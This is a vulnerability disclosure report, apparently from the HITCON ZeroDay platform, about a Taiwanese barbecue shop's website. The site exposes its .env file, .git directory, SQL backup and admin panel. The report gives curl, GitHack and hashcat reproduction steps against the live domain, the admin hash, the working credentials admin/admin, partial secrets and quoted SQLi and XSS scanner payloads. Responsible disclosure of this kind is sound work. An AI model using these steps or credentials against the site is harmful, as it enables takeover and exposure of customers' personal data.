Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00424
- Vendor: 名根專業烤肉網
- Title: 名根專業烤肉網 .env、.git、vendor/ 與 SQL 備份多重暴露導致 secret、原始碼、會員帳號與訂單個資外洩
- Introduction: 管理後台使用弱密碼,搭配公開暴露的 SQL 備份即可離線破解並登入後台。同時整個 Laravel 專案目錄對外開放,洩漏 APP_KEY、JWT_SECRET、資料庫帳密、SMTP 帳密,以及約 4,993 筆含真實姓名、手機、住址的訂單個資。
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2026/03/26 15:33:50 : 新提交 (由 罐頭 更新此狀態)
- 2026/03/26 15:35:32 : 新提交 (由 罐頭 更新此狀態)
- 2026/03/26 15:36:05 : 新提交 (由 罐頭 更新此狀態)
- 2026/03/26 22:48:31 : 新提交 (由 罐頭 更新此狀態)
- 2026/03/30 00:39:48 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/04/09 17:28:38 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/04/09 17:28:38 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/04/09 17:28:38 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/26 03:00:16 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00424
- 通報者:guan4tou2 (罐頭)
- 風險:嚴重
- 類型:資訊洩漏 (Information Leakage)
參考資料
OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
相關網址
http://mincoln.com.tw/2024mincoln/.env
http://mincoln.com.tw/2024mincoln/.git/HEAD
http://mincoln.com.tw/2024mincoln/vendor/
https://mincoln.com.tw/2024mincoln/database/2024mincoln.sql
http://mincoln.com.tw/2024mincoln/storage/logs/
http://mincoln.com.tw/2024mincoln/storage/framework/sessions/
http://mincoln.com.tw/2024mincoln/composer.json
http://mincoln.com.tw/2024mincoln/config/
http://mincoln.com.tw/2024mincoln/routes/
http://mincoln.com.tw/2024mincoln/app/
https://www.mincoln.com.tw/min-admin/auth/login
敘述
這個網站有幾個問題同時存在,串在一起就能直接拿到管理後台的控制權:
- Laravel 專案根目錄整個對外開放,
.env、database/、storage/等全部可以瀏覽 - SQL 備份
2024mincoln.sql(3.3MB)可直接下載,裡面有管理員的 bcrypt hash 跟將近五千筆客戶訂單個資 - 管理員密碼就是
admin,用 hashcat 跑 rockyou.txt 幾分鐘就破了 - 後台在
https://www.mincoln.com.tw/min-admin/auth/login,用 admin/admin 直接登進去
另外 .env 裡面的 APP_KEY、JWT_SECRET、資料庫帳密、兩組 SMTP 帳密也全部暴露。SQL dump 裡還發現至少四波自動化掃描的痕跡(Acunetix、bxss.me 等),表示這個站已經被別人盯上了。
重現步驟
1. 取得 .env
curl http://mincoln.com.tw/2024mincoln/.env
APP_KEY=base64:BlQYTmcfZGV4XSXXXXXXXXXXx
JWT_SECRET=zDg3RXXXXXXXXXXx
DB_DATABASE=mincoln_main
DB_USERNAME=mincoln_tim
DB_PASSWORD="v,YXXXXXX"
[email protected]
MAIL_PASSWORD=MaXXXXXXX
ADMIN_ROUTE_PREFIX="min-admin"
2. 取得 .git
curl http://mincoln.com.tw/2024mincoln/.git/HEAD
# ref: refs/heads/main
python3 GitHack.py https://mincoln.com.tw/2024mincoln/.git/
3. 目錄列表全開
底下這些路徑全部回傳 Apache 目錄列表:
| 路徑 | 說明 |
|---|---|
/2024mincoln/storage/logs/ |
15 個 log(最新是今天的) |
/2024mincoln/storage/framework/sessions/ |
114 個 session 檔 |
/2024mincoln/database/ |
SQL dump + 51 個 migration |
/2024mincoln/config/ |
19 個設定檔 |
/2024mincoln/routes/ |
web.php、api.php 等 |
/2024mincoln/app/ |
Controllers、Models 等 |
/2024mincoln/vendor/ |
Composer 套件 |
/2024mincoln/resources/ |
Blade 模板 |
/2024mincoln/bootstrap/cache/ |
框架快取 |
根本原因是 Web Server 直接把 Laravel 專案根目錄當 document root,而不是指向 public/。
4. Log 洩漏伺服器路徑
curl http://mincoln.com.tw/2024mincoln/storage/logs/laravel-2026-03-26.log
裡面有完整的 PHP stack trace,可以看到伺服器路徑 /home/mincoln/public_html/2024mincoln/、Controller 檔名跟行號。
5. SQL 備份下載
curl -I https://mincoln.com.tw/2024mincoln/database/2024mincoln.sql
# HTTP 200, Content-Length: 3467821
裡面有:
account表:約 5,287 筆帳號,密碼是無鹽 MD5order表:約 4,993 筆訂單,含真實姓名、手機號碼、完整地址admin_users表:管理員 bcrypt hash
管理員那筆長這樣:
INSERT INTO `admin_users` VALUES (1, 'admin', '$2y$10$gMXfeoC/S1jR19u0jxo2yumbcjrredRAwX5FIkoj9ARApyx90iLzG', 'Administrator', NULL, NULL, '2025-01-02 06:50:42', '2025-01-02 06:50:42');
6. 破解管理員密碼
hashcat -m 3200 '$2y$10$gMXfeoC/S1jR19u0jxo2yumbcjrredRAwX5FIkoj9ARApyx90iLzG' rockyou.txt
結果:
$2y$10$gMXfeoC/S1jR19u0jxo2yumbcjrredRAwX5FIkoj9ARApyx90iLzG:admin
密碼就是 admin。
7. 登入後台
後台位於 https://www.mincoln.com.tw/min-admin/auth/login(從 .env 的 ADMIN_ROUTE_PREFIX 得知),用 admin / admin 登入成功。
後台可以看到:
- 名根烤肉管理後台的銷售儀表板
- 管理員列表有 2 個帳號:admin 跟 mincoln
- 左側選單:訂單、產品、分類、頁面管理、設定、email 寄件內容、輪播圖管理
登入後立即登出,沒有做任何修改。
洩漏的金鑰與帳密
| 項目 | 值 | 風險 |
|---|---|---|
| APP_KEY | base64:BlQYTmcfZGV4... |
可偽造 session/cookie、理論上可串 RCE |
| JWT_SECRET | zDg3RLGdt0xOR1Kq... |
可簽任意身份的 JWT token |
| DB 帳密 | mincoln_tim / v,YXXXXX |
localhost,外部無法直接連 |
| SMTP #1 | [email protected] / MaXXXXXX |
可冒名寄信 |
| SMTP #2 | [email protected] / Gmail App Password(在 settings 表) |
可冒名寄信 |
| 管理員 | admin / admin |
已實證可登入後台 |
攻擊痕跡
SQL dump 裡有至少四波自動化掃描留下的痕跡,共 100 個攻擊帳號(密碼全是 md5("1")):
| 工具 | 特徵 | 數量 |
|---|---|---|
| Acunetix | testasp.vulnweb.com、acunetix_wvs_security_test |
5+ |
| Blind XSS | bxss.me |
6+ |
| SQLi 掃描 | sleep()、waitfor delay、pg_sleep() |
28+ |
| PHP 注入 | print(md5(acunetix_wvs_security_test)) |
5 |
這些 payload 全部成功寫進資料庫,代表註冊表單完全沒有輸入驗證。另外還有 1,474 個空密碼帳號(md5(""))。
經比對,目前沒有看到攻擊成功的跡象(沒有異常管理員、沒有頁面被改、沒有不明 token),但輸入驗證的缺失跟個資已經暴露這兩件事,建議廠商還是做一次完整的事件調查。
影響
- 後台被接管:admin/admin 直接登入,可存取訂單、產品、設定、email 等全部功能
- 個資外洩:約 4,993 筆訂單有真實姓名、手機、完整地址,屬《個資法》定義的個人資料
- 會員帳號風險:5,287 筆 MD5 密碼可快速破解
- 金鑰全洩:APP_KEY + JWT_SECRET 暴露,理論上可偽造 session 和 token
- SMTP 被盜用:2 組帳密可拿去寄釣魚信
- 原始碼全暴露:整個 Laravel 專案的 app/、config/、routes/ 都有目錄列表
- 已被盯上:至少四波自動掃描,其他攻擊者已經知道這個站
追加發現:
- 正式環境殘留 4 個測試腳本(test_query.php, check_suit_products.php, add_suit_products.php, test_products.php),全部 HTTP 200
- add_suit_products.php 每次被存取都會直接修改正式資料庫(新增商品到套餐 ID 213)
- check_suit_products.php 洩漏全部 220 個產品名稱和 ID
- Git Log 確認 148 個 commits,GitHub 倉庫 taitin/2024mincoln,GoDaddy 託管
修補建議
1. **立即移除或封鎖 `database/` 目錄的外部存取** — 此為最緊急項目,SQL 備份含近 5,000 筆真實個資。
2. 立即封鎖 `.env`、`.git` 與 `vendor/` 路徑的外部存取。
3. 立即更換已洩漏的 `APP_KEY`、`JWT_SECRET`、資料庫密碼、SMTP 密碼與其他應用程式 secret。
4. 使現有 session、token 與可能受影響的登入狀態失效。
5. 將 Laravel 應用程式的 Web Document Root 調整為 `public/`,避免專案根目錄直接對外。
6. 關閉目錄列表並檢查是否還有其他敏感檔案位於 Web 可直接存取路徑。
7. 將使用者密碼從 MD5 升級為 bcrypt/argon2,並強制所有使用者重設密碼。
8. 依《個人資料保護法》評估是否需通知受影響的客戶其個資已暴露。